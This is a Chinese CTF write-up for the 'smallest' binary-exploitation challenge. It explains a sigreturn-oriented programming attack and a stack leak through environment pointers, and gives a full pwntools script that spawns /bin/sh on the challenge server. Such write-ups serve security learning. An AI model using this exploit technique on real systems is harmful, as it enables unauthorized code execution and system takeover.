这次这道smallest确实很有创造力,算是这次比赛我感觉比较好的地方了。
这次比赛本身槽点是无数的,10点开始的比赛,11点都进不去平台,紧急修复到12点,然后12点半在网站通知比赛时间到1点,中途一直不肯决定
比赛到底推迟到几点进行,一早上的课都不敢好好上,确实是非常的坑。然后在做这道题的时候服务器不停的down,不得不说ichunqiu的技术让人担心啊。
题目的文件非常简单,一共只有几句汇编:
.text:00000000004000B0 public start
.text:00000000004000B0 start proc near
.text:00000000004000B0 xor rax, rax
.text:00000000004000B3 mov edx, 400h
.text:00000000004000B8 mov rsi, rsp
.text:00000000004000BB mov rdi, rax
.text:00000000004000BE syscall
.text:00000000004000C0 retn
.text:00000000004000C0 start endp
.text:00000000004000C0
.text:00000000004000C0 _text ends
.text:00000000004000C0
.text:00000000004000C0
.text:00000000004000C0 end start
是的这里的内容就是整个二进制文件的内容了。。我还特意查看了一下大小,确定不是利用了ida漏洞。。
大致分析一下内容:
首先清空rax,然后设置edx为0x400,之后rsi为rsp,也就是当前栈顶,rdi设置为rax,也就是0,之后syscall。
根据64位系统调用规则,这里的syscall就相当于read(stdin, rsp, 0x400)。
syscall之后,我们输入的内容会被输入栈顶,后面的retn也就会回到我们输入内容指定的地址了。
其实看到如此简单的汇编,还有syscall,第一反应应该就能想到了,srop。
srop,全称sigreturn return oriented programming,是利用了linux系统sigreturn系统调用的特点进行漏洞利用的一种方法。
free buf上有一篇文章讲的比较详细,我就不再赘述了,文章地址:http://www.freebuf.com/articles/network/87447.html
这里我们首先确定第一个思路,我们能够控制的地方一开始只有rax,通过read的字符数量控制,以及栈的值,通过栈顶值和ret可以控制rip。
光用这几个东西显然是不够的,所以想到使用srop来控制所有寄存器的值,因为只有这样才有办法完成从栈到寄存器的值传递。
srop在64位syscall号为15,srop的frame的大小比15明显要大,所以需要先进行一次rop,也就是,先输入sigreturn frame,然后使得之后的控制流执行到4000b0的位置,
再次进行read,这次输入sigreturn frame的前15字节,之后使控制流到4000be,也就是syscall,这样就可以顺利进行srop了。
srop会将所有的寄存器的值都设置为我们给出的值,可是问题是,我们无法确定rsp的值,那么这里rsp写入什么值?显然,rsp的值必须是可写的,如果rsp值不可写,
接下来就没办法在rsp上放东西,ret的时候就会出错,如果确定了某个可写地址,我们就可以进行srop,将rsp改为这个可写地址,然后再次进行read,
可以将/bin/sh之类必要的参数放到已知位置,然后srop调用execve就可以了。
那么到现在的问题就变成了只要能够确定一个可写地址,shell就拿到了
其实问题是比较简单的,那就是,利用write。
唯一可能泄露东西的系统调用就是write了,而好巧不巧的是,write的系统调用号是1,然而stdout的值也是1,这样mov rdi, rax
这条语句会天然的设置好write的参数,
唯一需要的就是设置好rax。设置rax的方法和之前进行srop方法一样,先输入好需要的参数,然后rop进入4000b0再次read,然后再输入一个字节,利用上一个read设置好的
返回地址rop到4000b3,设置好参数,rax和rdi变为1,就可以进行write了。
可是直接write什么都没有啊? 不,栈在一开始的时候,还有一个东西,就是环境变量。。
环境变量是一堆指向字符串的指针,而这堆字符串在栈里,所以拿到这个就相当于拿到了栈的大致位置,然后调整一下,就得到可写位置了。
注意,由于中间的read输入的字符数量很重要,所以需要断开一下保证不会连着发送。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
DEBUG = 0
GDB = 0
if DEBUG:
p = process("./smallest")
else:
p = remote("106.75.61.55", 20000)
def pwn(addr):
'''
addr should be writable address
'''
ret_addr = 0x4000b0 # another read
syscall_addr = 0x4000be # only syscall
frame = SigreturnFrame()
frame.rsp = addr # any writable address(maybe in stack)
frame.rip = ret_addr
payload = p64(ret_addr)
payload += 'd' * 8
payload += str(frame)
p.send(payload)
# second read, enter sysreturn
payload = p64(syscall_addr)
payload += '\x11' * (15 - len(payload))
p.send(payload)
yes = raw_input()
# another read now, to the choosed addr as rsp
frame2 = SigreturnFrame()
frame2.rsp = addr + 400
frame2.rax = constants.SYS_execve
frame2.rdi = addr + 400
frame2.rsi = addr + 400 + len("/bin/sh\x00")
frame2.rdx = 0
frame2.rip = syscall_addr
payload = p64(ret_addr)
payload += 'b' * 8
payload += str(frame2)
payload += 'a' * (400 - len(payload))
payload += '/bin/sh\x00'
payload += p64(addr + 400)
p.send(payload)
yes = raw_input()
# another sigreturn
payload = p64(syscall_addr)
payload += '\x00' * (0xf - len(payload))
p.send(payload)
def leak():
read_again = 0x4000b0
rdi_syscall_addr = 0x4000bb
payload = p64(read_again)
payload += p64(rdi_syscall_addr)
payload += p64(read_again)
p.send(payload)
yes = raw_input()
p.send('\xbb')
recved = p.recvuntil('\x7f')
then = p.recv()
leak = u64(recved[-6:] + then[:2])
log.info("leaking:" + hex(leak))
return leak
def main():
if GDB:
pwnlib.gdb.attach(p)
#leak()
addr = leak() & 0xfffffffffffffff000
addr -= 0x2000
log.info("on addr: " + hex(addr))
pwn(addr)
p.interactive()
if __name__ == '__main__':
main()
这道题主要是学到了:
1. srop结合rop进行使用,srop的作用除了控制执行流以外,更大的作用是可以控制所有寄存器,这是一般rop做不到的
2. 在栈顶部分的环境变量和栈的位置密切相关,当拥有泄露漏洞,但是不知道从哪儿可以获取到栈地址的时候可以考虑环境变量